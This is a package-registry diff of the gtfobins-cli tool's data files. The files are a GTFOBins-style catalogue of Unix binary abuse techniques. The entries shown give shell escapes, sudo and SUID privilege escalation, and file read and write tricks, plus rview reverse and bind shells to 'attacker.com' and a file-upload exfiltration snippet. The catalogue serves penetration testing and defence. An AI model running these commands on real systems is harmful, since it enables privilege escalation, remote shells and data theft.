gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (477) hide show
  1. gtfo/__init__.py +2 -1
  2. gtfo/cli.py +204 -32
  3. gtfo/data/7z.json +16 -0
  4. gtfo/data/aa-exec.json +22 -0
  5. gtfo/data/ab.json +28 -0
  6. gtfo/data/acr.json +16 -0
  7. gtfo/data/agetty.json +10 -0
  8. gtfo/data/alpine.json +22 -0
  9. gtfo/data/ansible-playbook.json +16 -0
  10. gtfo/data/ansible-test.json +16 -0
  11. gtfo/data/aoss.json +16 -0
  12. gtfo/data/apache2ctl.json +16 -0
  13. gtfo/data/apport-cli.json +22 -0
  14. gtfo/data/apt-get.json +6 -6
  15. gtfo/data/apt.json +8 -8
  16. gtfo/data/aptitude.json +16 -0
  17. gtfo/data/ar.json +6 -4
  18. gtfo/data/aria2c.json +17 -5
  19. gtfo/data/arj.json +28 -0
  20. gtfo/data/arp.json +7 -5
  21. gtfo/data/as.json +22 -0
  22. gtfo/data/ascii-xfr.json +22 -0
  23. gtfo/data/ascii85.json +16 -0
  24. gtfo/data/ash.json +9 -5
  25. gtfo/data/aspell.json +22 -0
  26. gtfo/data/asterisk.json +20 -0
  27. gtfo/data/at.json +3 -1
  28. gtfo/data/atobm.json +6 -4
  29. gtfo/data/awk.json +20 -14
  30. gtfo/data/aws.json +16 -0
  31. gtfo/data/base32.json +7 -4
  32. gtfo/data/base58.json +16 -0
  33. gtfo/data/base64.json +7 -4
  34. gtfo/data/basenc.json +6 -3
  35. gtfo/data/basez.json +22 -0
  36. gtfo/data/bash.json +22 -17
  37. gtfo/data/bashbug.json +14 -0
  38. gtfo/data/batcat.json +22 -0
  39. gtfo/data/bc.json +22 -0
  40. gtfo/data/bconsole.json +22 -0
  41. gtfo/data/bee.json +10 -0
  42. gtfo/data/borg.json +16 -0
  43. gtfo/data/bpftrace.json +6 -3
  44. gtfo/data/bridge.json +22 -0
  45. gtfo/data/bundle.json +32 -0
  46. gtfo/data/bundler.json +7 -4
  47. gtfo/data/busctl.json +14 -3
  48. gtfo/data/busybox.json +17 -8
  49. gtfo/data/byebug.json +4 -1
  50. gtfo/data/bzip2.json +22 -0
  51. gtfo/data/c89.json +28 -0
  52. gtfo/data/c99.json +28 -0
  53. gtfo/data/cabal.json +22 -0
  54. gtfo/data/cancel.json +3 -3
  55. gtfo/data/capsh.json +6 -3
  56. gtfo/data/cargo.json +14 -0
  57. gtfo/data/cat.json +7 -4
  58. gtfo/data/cdist.json +16 -0
  59. gtfo/data/certbot.json +2 -0
  60. gtfo/data/chattr.json +14 -0
  61. gtfo/data/check_by_ssh.json +2 -3
  62. gtfo/data/check_cups.json +4 -3
  63. gtfo/data/check_log.json +20 -18
  64. gtfo/data/check_memory.json +4 -3
  65. gtfo/data/check_raid.json +4 -3
  66. gtfo/data/check_ssl_cert.json +2 -3
  67. gtfo/data/check_statusfile.json +4 -3
  68. gtfo/data/chmod.json +4 -3
  69. gtfo/data/choom.json +22 -0
  70. gtfo/data/chown.json +5 -4
  71. gtfo/data/chroot.json +3 -1
  72. gtfo/data/chrt.json +28 -0
  73. gtfo/data/clamscan.json +22 -0
  74. gtfo/data/clisp.json +16 -0
  75. gtfo/data/cmake.json +28 -0
  76. gtfo/data/cmp.json +22 -0
  77. gtfo/data/cobc.json +3 -1
  78. gtfo/data/code.json +22 -0
  79. gtfo/data/column.json +6 -4
  80. gtfo/data/comm.json +6 -3
  81. gtfo/data/composer.json +3 -0
  82. gtfo/data/cowsay.json +2 -1
  83. gtfo/data/cowthink.json +16 -14
  84. gtfo/data/cp.json +21 -9
  85. gtfo/data/cpan.json +8 -7
  86. gtfo/data/cpio.json +14 -12
  87. gtfo/data/cpulimit.json +6 -3
  88. gtfo/data/crash.json +5 -4
  89. gtfo/data/crontab.json +5 -5
  90. gtfo/data/csh.json +9 -5
  91. gtfo/data/csplit.json +12 -3
  92. gtfo/data/csvtool.json +8 -5
  93. gtfo/data/ctr.json +10 -0
  94. gtfo/data/cupsfilter.json +6 -3
  95. gtfo/data/curl.json +19 -7
  96. gtfo/data/cut.json +7 -4
  97. gtfo/data/dash.json +9 -5
  98. gtfo/data/date.json +7 -5
  99. gtfo/data/dc.json +22 -0
  100. gtfo/data/dd.json +9 -5
  101. gtfo/data/debugfs.json +22 -0
  102. gtfo/data/dhclient.json +10 -0
  103. gtfo/data/dialog.json +7 -5
  104. gtfo/data/diff.json +11 -4
  105. gtfo/data/dig.json +6 -4
  106. gtfo/data/distcc.json +22 -0
  107. gtfo/data/dmesg.json +4 -4
  108. gtfo/data/dmidecode.json +10 -0
  109. gtfo/data/dmsetup.json +3 -1
  110. gtfo/data/dnf.json +3 -3
  111. gtfo/data/dnsmasq.json +10 -0
  112. gtfo/data/doas.json +10 -0
  113. gtfo/data/docker.json +9 -6
  114. gtfo/data/dos2unix.json +10 -0
  115. gtfo/data/dosbox.json +32 -0
  116. gtfo/data/dotnet.json +22 -0
  117. gtfo/data/dpkg.json +5 -5
  118. gtfo/data/dstat.json +16 -0
  119. gtfo/data/dvips.json +3 -1
  120. gtfo/data/easy_install.json +14 -11
  121. gtfo/data/eb.json +3 -2
  122. gtfo/data/ed.json +9 -3
  123. gtfo/data/efax.json +16 -0
  124. gtfo/data/elvish.json +34 -0
  125. gtfo/data/emacs.json +11 -6
  126. gtfo/data/enscript.json +16 -0
  127. gtfo/data/env.json +7 -4
  128. gtfo/data/eqn.json +7 -5
  129. gtfo/data/espeak.json +22 -0
  130. gtfo/data/ex.json +30 -22
  131. gtfo/data/exiftool.json +26 -4
  132. gtfo/data/expand.json +7 -5
  133. gtfo/data/expect.json +13 -4
  134. gtfo/data/facter.json +4 -2
  135. gtfo/data/fail2ban-client.json +14 -0
  136. gtfo/data/ffmpeg.json +10 -0
  137. gtfo/data/file.json +8 -8
  138. gtfo/data/find.json +19 -4
  139. gtfo/data/finger.json +5 -6
  140. gtfo/data/firejail.json +35 -0
  141. gtfo/data/fish.json +22 -0
  142. gtfo/data/flock.json +7 -4
  143. gtfo/data/fmt.json +5 -6
  144. gtfo/data/fold.json +7 -4
  145. gtfo/data/fping.json +16 -0
  146. gtfo/data/ftp.json +5 -3
  147. gtfo/data/fzf.json +90 -0
  148. gtfo/data/gawk.json +17 -11
  149. gtfo/data/gcc.json +12 -4
  150. gtfo/data/gcloud.json +16 -0
  151. gtfo/data/gcore.json +22 -0
  152. gtfo/data/gdb.json +15 -13
  153. gtfo/data/gem.json +8 -8
  154. gtfo/data/genie.json +22 -0
  155. gtfo/data/genisoimage.json +11 -4
  156. gtfo/data/getent.json +14 -0
  157. gtfo/data/ghc.json +4 -2
  158. gtfo/data/ghci.json +2 -0
  159. gtfo/data/gimp.json +19 -14
  160. gtfo/data/ginsh.json +22 -0
  161. gtfo/data/git.json +22 -11
  162. gtfo/data/gnuplot.json +16 -0
  163. gtfo/data/go.json +58 -0
  164. gtfo/data/grc.json +16 -0
  165. gtfo/data/grep.json +7 -5
  166. gtfo/data/gtester.json +10 -1
  167. gtfo/data/guile.json +16 -0
  168. gtfo/data/gzip.json +14 -5
  169. gtfo/data/hashcat.json +16 -0
  170. gtfo/data/hd.json +7 -5
  171. gtfo/data/head.json +7 -4
  172. gtfo/data/hexdump.json +7 -5
  173. gtfo/data/hg.json +16 -0
  174. gtfo/data/highlight.json +7 -4
  175. gtfo/data/hping3.json +7 -0
  176. gtfo/data/iconv.json +9 -6
  177. gtfo/data/iftop.json +3 -1
  178. gtfo/data/install.json +4 -3
  179. gtfo/data/ionice.json +7 -4
  180. gtfo/data/ip.json +11 -5
  181. gtfo/data/irb.json +13 -8
  182. gtfo/data/ispell.json +22 -0
  183. gtfo/data/java.json +10 -0
  184. gtfo/data/jjs.json +13 -10
  185. gtfo/data/joe.json +22 -0
  186. gtfo/data/join.json +6 -3
  187. gtfo/data/journalctl.json +3 -2
  188. gtfo/data/jq.json +7 -4
  189. gtfo/data/jrunscript.json +13 -10
  190. gtfo/data/jshell.json +35 -0
  191. gtfo/data/jtag.json +16 -0
  192. gtfo/data/julia.json +46 -0
  193. gtfo/data/knife.json +16 -0
  194. gtfo/data/ksh.json +19 -15
  195. gtfo/data/ksshell.json +7 -5
  196. gtfo/data/ksu.json +10 -0
  197. gtfo/data/kubectl.json +30 -0
  198. gtfo/data/last.json +16 -0
  199. gtfo/data/lastb.json +16 -0
  200. gtfo/data/latex.json +11 -2
  201. gtfo/data/latexmk.json +9 -6
  202. gtfo/data/ld.so.json +7 -5
  203. gtfo/data/ldconfig.json +1 -2
  204. gtfo/data/less.json +17 -7
  205. gtfo/data/lessfilter.json +22 -0
  206. gtfo/data/lesspipe.json +16 -0
  207. gtfo/data/lftp.json +22 -0
  208. gtfo/data/links.json +22 -0
  209. gtfo/data/ln.json +10 -0
  210. gtfo/data/loginctl.json +16 -0
  211. gtfo/data/logrotate.json +38 -0
  212. gtfo/data/logsave.json +7 -4
  213. gtfo/data/look.json +7 -4
  214. gtfo/data/lp.json +10 -0
  215. gtfo/data/ltrace.json +7 -5
  216. gtfo/data/lua.json +21 -15
  217. gtfo/data/lualatex.json +6 -4
  218. gtfo/data/luatex.json +6 -4
  219. gtfo/data/lwp-download.json +7 -5
  220. gtfo/data/lwp-request.json +4 -2
  221. gtfo/data/m4.json +59 -0
  222. gtfo/data/mail.json +3 -3
  223. gtfo/data/make.json +15 -7
  224. gtfo/data/man.json +5 -3
  225. gtfo/data/mawk.json +12 -6
  226. gtfo/data/minicom.json +26 -0
  227. gtfo/data/more.json +7 -3
  228. gtfo/data/mosh-server.json +10 -0
  229. gtfo/data/mosquitto.json +22 -0
  230. gtfo/data/mount.json +2 -2
  231. gtfo/data/msfconsole.json +16 -0
  232. gtfo/data/msgattrib.json +22 -0
  233. gtfo/data/msgcat.json +22 -0
  234. gtfo/data/msgconv.json +22 -0
  235. gtfo/data/msgfilter.json +28 -0
  236. gtfo/data/msgmerge.json +22 -0
  237. gtfo/data/msguniq.json +22 -0
  238. gtfo/data/mtr.json +5 -4
  239. gtfo/data/multitime.json +22 -0
  240. gtfo/data/mutt.json +14 -0
  241. gtfo/data/mv.json +5 -4
  242. gtfo/data/mypy.json +26 -0
  243. gtfo/data/mysql.json +9 -7
  244. gtfo/data/nano.json +9 -5
  245. gtfo/data/nasm.json +22 -0
  246. gtfo/data/nawk.json +16 -10
  247. gtfo/data/nc.json +13 -13
  248. gtfo/data/ncdu.json +22 -0
  249. gtfo/data/ncftp.json +22 -0
  250. gtfo/data/neofetch.json +22 -0
  251. gtfo/data/nft.json +22 -0
  252. gtfo/data/nginx.json +22 -0
  253. gtfo/data/nice.json +7 -4
  254. gtfo/data/nl.json +7 -5
  255. gtfo/data/nm.json +22 -0
  256. gtfo/data/nmap.json +26 -16
  257. gtfo/data/node.json +18 -12
  258. gtfo/data/nohup.json +10 -6
  259. gtfo/data/npm.json +6 -0
  260. gtfo/data/nroff.json +3 -1
  261. gtfo/data/nsenter.json +5 -3
  262. gtfo/data/ntpdate.json +22 -0
  263. gtfo/data/nvim.json +16 -0
  264. gtfo/data/octave.json +34 -0
  265. gtfo/data/od.json +7 -5
  266. gtfo/data/openssl.json +21 -16
  267. gtfo/data/openvpn.json +13 -5
  268. gtfo/data/openvt.json +1 -1
  269. gtfo/data/opkg.json +10 -0
  270. gtfo/data/pandoc.json +40 -0
  271. gtfo/data/passwd.json +10 -0
  272. gtfo/data/paste.json +6 -3
  273. gtfo/data/pax.json +10 -0
  274. gtfo/data/pdb.json +3 -2
  275. gtfo/data/pdflatex.json +5 -2
  276. gtfo/data/pdftex.json +3 -0
  277. gtfo/data/perf.json +22 -0
  278. gtfo/data/perl.json +28 -7
  279. gtfo/data/perlbug.json +16 -0
  280. gtfo/data/pexec.json +22 -0
  281. gtfo/data/pg.json +7 -3
  282. gtfo/data/php.json +25 -15
  283. gtfo/data/pic.json +10 -1
  284. gtfo/data/pico.json +8 -4
  285. gtfo/data/pidstat.json +22 -0
  286. gtfo/data/pip.json +19 -8
  287. gtfo/data/pipx.json +25 -0
  288. gtfo/data/pkexec.json +3 -2
  289. gtfo/data/pkg.json +1 -1
  290. gtfo/data/plymouth.json +10 -0
  291. gtfo/data/podman.json +10 -0
  292. gtfo/data/poetry.json +26 -0
  293. gtfo/data/posh.json +22 -0
  294. gtfo/data/pr.json +6 -4
  295. gtfo/data/procmail.json +10 -0
  296. gtfo/data/pry.json +4 -1
  297. gtfo/data/psftp.json +22 -0
  298. gtfo/data/psql.json +14 -1
  299. gtfo/data/ptx.json +22 -0
  300. gtfo/data/puppet.json +6 -4
  301. gtfo/data/pwsh.json +22 -0
  302. gtfo/data/pygmentize.json +14 -0
  303. gtfo/data/pyright.json +32 -0
  304. gtfo/data/python.json +21 -15
  305. gtfo/data/qpdf.json +18 -0
  306. gtfo/data/r.json +16 -0
  307. gtfo/data/rake.json +13 -4
  308. gtfo/data/rc.json +22 -0
  309. gtfo/data/readelf.json +7 -5
  310. gtfo/data/red.json +7 -5
  311. gtfo/data/redcarpet.json +5 -4
  312. gtfo/data/redis.json +10 -0
  313. gtfo/data/restic.json +13 -5
  314. gtfo/data/rev.json +6 -3
  315. gtfo/data/rlogin.json +3 -4
  316. gtfo/data/rlwrap.json +9 -6
  317. gtfo/data/rpm.json +9 -5
  318. gtfo/data/rpmdb.json +22 -0
  319. gtfo/data/rpmquery.json +6 -3
  320. gtfo/data/rpmverify.json +22 -0
  321. gtfo/data/rsync.json +7 -4
  322. gtfo/data/rsyslogd.json +16 -0
  323. gtfo/data/rtorrent.json +16 -0
  324. gtfo/data/ruby.json +17 -11
  325. gtfo/data/run-mailcap.json +7 -7
  326. gtfo/data/run-parts.json +7 -4
  327. gtfo/data/runscript.json +22 -0
  328. gtfo/data/rustdoc.json +26 -0
  329. gtfo/data/rustfmt.json +15 -0
  330. gtfo/data/rustup.json +22 -0
  331. gtfo/data/rview.json +36 -34
  332. gtfo/data/rvim.json +41 -35
  333. gtfo/data/sash.json +8 -5
  334. gtfo/data/scanmem.json +22 -0
  335. gtfo/data/scp.json +6 -3
  336. gtfo/data/screen.json +9 -7
  337. gtfo/data/script.json +6 -4
  338. gtfo/data/scrot.json +22 -0
  339. gtfo/data/sed.json +12 -9
  340. gtfo/data/service.json +5 -3
  341. gtfo/data/setarch.json +7 -4
  342. gtfo/data/setcap.json +16 -0
  343. gtfo/data/setfacl.json +16 -0
  344. gtfo/data/setlock.json +22 -0
  345. gtfo/data/sftp.json +7 -5
  346. gtfo/data/sg.json +1 -0
  347. gtfo/data/shred.json +16 -0
  348. gtfo/data/shuf.json +5 -5
  349. gtfo/data/slsh.json +22 -0
  350. gtfo/data/smbclient.json +9 -8
  351. gtfo/data/snap.json +2 -2
  352. gtfo/data/socat.json +23 -11
  353. gtfo/data/socket.json +16 -0
  354. gtfo/data/soelim.json +7 -5
  355. gtfo/data/softlimit.json +22 -0
  356. gtfo/data/sort.json +13 -4
  357. gtfo/data/split.json +15 -4
  358. gtfo/data/sqlite3.json +12 -6
  359. gtfo/data/sqlmap.json +16 -0
  360. gtfo/data/ss.json +6 -4
  361. gtfo/data/ssh-agent.json +22 -0
  362. gtfo/data/ssh-copy-id.json +24 -0
  363. gtfo/data/ssh-keygen.json +6 -6
  364. gtfo/data/ssh-keyscan.json +22 -0
  365. gtfo/data/ssh.json +11 -7
  366. gtfo/data/sshfs.json +42 -0
  367. gtfo/data/sshpass.json +22 -0
  368. gtfo/data/sshuttle.json +10 -0
  369. gtfo/data/start-stop-daemon.json +7 -4
  370. gtfo/data/stdbuf.json +7 -4
  371. gtfo/data/strace.json +8 -5
  372. gtfo/data/strings.json +7 -5
  373. gtfo/data/su.json +3 -2
  374. gtfo/data/sudo.json +10 -0
  375. gtfo/data/svn.json +10 -0
  376. gtfo/data/sysctl.json +13 -5
  377. gtfo/data/systemctl.json +7 -4
  378. gtfo/data/systemd-resolve.json +10 -0
  379. gtfo/data/systemd-run.json +60 -0
  380. gtfo/data/tac.json +7 -5
  381. gtfo/data/tail.json +7 -4
  382. gtfo/data/tailscale.json +10 -0
  383. gtfo/data/tar.json +14 -11
  384. gtfo/data/task.json +16 -0
  385. gtfo/data/taskset.json +7 -4
  386. gtfo/data/tasksh.json +22 -0
  387. gtfo/data/tbl.json +6 -4
  388. gtfo/data/tclsh.json +11 -6
  389. gtfo/data/tcpdump.json +11 -4
  390. gtfo/data/tcsh.json +28 -0
  391. gtfo/data/tdbtool.json +22 -0
  392. gtfo/data/tee.json +9 -7
  393. gtfo/data/telnet.json +6 -6
  394. gtfo/data/terraform.json +22 -0
  395. gtfo/data/tex.json +3 -0
  396. gtfo/data/tftp.json +5 -5
  397. gtfo/data/tic.json +22 -0
  398. gtfo/data/time.json +7 -5
  399. gtfo/data/timedatectl.json +16 -0
  400. gtfo/data/timeout.json +7 -4
  401. gtfo/data/tmate.json +22 -0
  402. gtfo/data/tmux.json +15 -3
  403. gtfo/data/top.json +2 -2
  404. gtfo/data/torify.json +16 -0
  405. gtfo/data/torsocks.json +16 -0
  406. gtfo/data/troff.json +6 -4
  407. gtfo/data/tsc.json +26 -0
  408. gtfo/data/tshark.json +10 -0
  409. gtfo/data/ul.json +7 -5
  410. gtfo/data/unexpand.json +7 -4
  411. gtfo/data/uniq.json +7 -5
  412. gtfo/data/unshare.json +7 -4
  413. gtfo/data/unsquashfs.json +16 -0
  414. gtfo/data/unzip.json +16 -0
  415. gtfo/data/update-alternatives.json +4 -4
  416. gtfo/data/urlget.json +16 -0
  417. gtfo/data/uudecode.json +22 -0
  418. gtfo/data/uuencode.json +21 -18
  419. gtfo/data/uv.json +43 -0
  420. gtfo/data/vagrant.json +22 -0
  421. gtfo/data/valgrind.json +5 -3
  422. gtfo/data/varnishncsa.json +16 -0
  423. gtfo/data/vi.json +18 -6
  424. gtfo/data/view.json +41 -36
  425. gtfo/data/vigr.json +16 -0
  426. gtfo/data/vim.json +43 -38
  427. gtfo/data/vimdiff.json +41 -36
  428. gtfo/data/vipw.json +16 -0
  429. gtfo/data/virsh.json +6 -5
  430. gtfo/data/volatility.json +10 -0
  431. gtfo/data/w3m.json +22 -0
  432. gtfo/data/wall.json +10 -0
  433. gtfo/data/watch.json +9 -6
  434. gtfo/data/wc.json +6 -4
  435. gtfo/data/wg-quick.json +10 -0
  436. gtfo/data/wget.json +17 -11
  437. gtfo/data/whiptail.json +22 -0
  438. gtfo/data/whois.json +9 -10
  439. gtfo/data/wireshark.json +16 -0
  440. gtfo/data/wish.json +5 -3
  441. gtfo/data/xargs.json +9 -8
  442. gtfo/data/xdg-user-dir.json +16 -0
  443. gtfo/data/xdotool.json +22 -0
  444. gtfo/data/xelatex.json +5 -2
  445. gtfo/data/xetex.json +3 -0
  446. gtfo/data/xmodmap.json +6 -4
  447. gtfo/data/xmore.json +6 -4
  448. gtfo/data/xpad.json +16 -0
  449. gtfo/data/xxd.json +9 -5
  450. gtfo/data/xz.json +7 -4
  451. gtfo/data/yarn.json +20 -0
  452. gtfo/data/yash.json +22 -0
  453. gtfo/data/yelp.json +2 -2
  454. gtfo/data/yt-dlp.json +24 -0
  455. gtfo/data/yum.json +4 -4
  456. gtfo/data/zathura.json +16 -0
  457. gtfo/data/zcat.json +10 -0
  458. gtfo/data/zic.json +20 -0
  459. gtfo/data/zip.json +5 -1
  460. gtfo/data/zless.json +15 -0
  461. gtfo/data/zsh.json +10 -5
  462. gtfo/data/zsoelim.json +7 -5
  463. gtfo/data/zypper.json +5 -3
  464. gtfo/images/filter-with.png +0 -0
  465. gtfo/images/search-docker.png +0 -0
  466. gtfo/images/search-for.png +0 -0
  467. gtfo/images/search-interactive.png +0 -0
  468. gtfo/images/sqlit3.png +0 -0
  469. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
  470. gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
  471. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
  472. gtfo/data/octave-cli.json +0 -30
  473. gtfo/data/ssh_keyscan.json +0 -20
  474. gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
  475. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
  476. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
  477. {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
@@ -2,27 +2,27 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
5
+ "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
6
6
  "code": "run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
7
7
  }
8
8
  ],
9
9
  "file-read": [
10
10
  {
11
- "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
12
- "code": "run-mailcap --action=view [file]"
11
+ "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
12
+ "code": "run-mailcap --action=view file_to_read\n"
13
13
  }
14
14
  ],
15
15
  "file-write": [
16
16
  {
17
- "description": "The file must exist and be not empty. This invokes the default editor, which is likely to be 'vi', other functions may apply.",
18
- "code": "run-mailcap --action=edit [file]"
17
+ "description": "The file must exist and be not empty.\n\nThis invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.\n",
18
+ "code": "run-mailcap --action=edit file_to_read\n"
19
19
  }
20
20
  ],
21
21
  "sudo": [
22
22
  {
23
- "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
23
+ "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
24
24
  "code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n"
25
25
  }
26
26
  ]
27
27
  }
28
- }
28
+ }
gtfo/data/run-parts.json CHANGED
@@ -2,18 +2,21 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "run-parts --new-session --regex '^sh$' /bin"
5
+
6
+ "code": "run-parts --new-session --regex '^sh$' /bin\n"
6
7
  }
7
8
  ],
8
9
  "sudo": [
9
10
  {
10
- "code": "sudo run-parts --new-session --regex '^sh$' /bin"
11
+
12
+ "code": "sudo run-parts --new-session --regex '^sh$' /bin\n"
11
13
  }
12
14
  ],
13
15
  "suid": [
14
16
  {
15
- "code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'"
17
+
18
+ "code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'\n"
16
19
  }
17
20
  ]
18
21
  }
19
- }
22
+ }
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nrunscript $TF\n"
7
+ }
8
+ ],
9
+ "limited-suid": [
10
+ {
11
+
12
+ "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\n./runscript $TF\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nsudo runscript $TF\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/rustdoc.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "binary": false,
6
+ "code": "rustdoc /path/to/input-file",
7
+ "comment": "Partial content is displayed as error messages.",
8
+ "contexts": {
9
+ "sudo": null,
10
+ "unprivileged": null
11
+ }
12
+ }
13
+ ],
14
+ "file-write": [
15
+ {
16
+ "binary": false,
17
+ "code": "echo '//! DATA' >/path/to/temp-file\nrustdoc /path/to/temp-file -o /path/to/output-dir/",
18
+ "comment": "This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content.",
19
+ "contexts": {
20
+ "sudo": null,
21
+ "unprivileged": null
22
+ }
23
+ }
24
+ ]
25
+ }
26
+ }
gtfo/data/rustfmt.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "binary": false,
6
+ "code": "rustfmt /path/to/input-file",
7
+ "comment": "Partial content is displayed as error messages.",
8
+ "contexts": {
9
+ "sudo": null,
10
+ "unprivileged": null
11
+ }
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/rustup.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "command": [
4
+ {
5
+ "code": "mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\necho '/path/to/command' >/path/to/temp-dir/bin/rustc\nchmod +x /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc",
6
+ "contexts": {
7
+ "sudo": null,
8
+ "unprivileged": null
9
+ }
10
+ }
11
+ ],
12
+ "shell": [
13
+ {
14
+ "code": "mkdir /path/to/temp-dir/bin/\nmkdir /path/to/temp-dir/lib/\ncp /bin/sh /path/to/temp-dir/bin/rustc\nrustup toolchain link x /path/to/temp-dir/\nrustup run x rustc",
15
+ "contexts": {
16
+ "sudo": null,
17
+ "unprivileged": null
18
+ }
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/rview.json CHANGED
@@ -2,98 +2,100 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
6
- "code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
5
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
6
+ "code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
7
7
  },
8
8
  {
9
- "description": "This requires that 'rview' is compiled with Lua support.",
10
- "code": "rview -c ':lua os.execute(\"reset; exec sh\")'"
9
+ "description": "This requires that `rview` is compiled with Lua support.",
10
+ "code": "rview -c ':lua os.execute(\"reset; exec sh\")'\n"
11
11
  }
12
12
  ],
13
13
  "reverse-shell": [
14
14
  {
15
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
16
- "code": "rview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\", [port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
15
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
16
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
17
17
  }
18
18
  ],
19
19
  "non-interactive-reverse-shell": [
20
20
  {
21
- "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
22
- "code": "rview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();'\n"
21
+ "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
22
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
23
23
  }
24
24
  ],
25
25
  "non-interactive-bind-shell": [
26
26
  {
27
- "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
28
- "code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();'\n"
27
+ "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
28
+ "code": "export LPORT=12345\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
29
29
  }
30
30
  ],
31
31
  "file-upload": [
32
32
  {
33
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
34
- "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
33
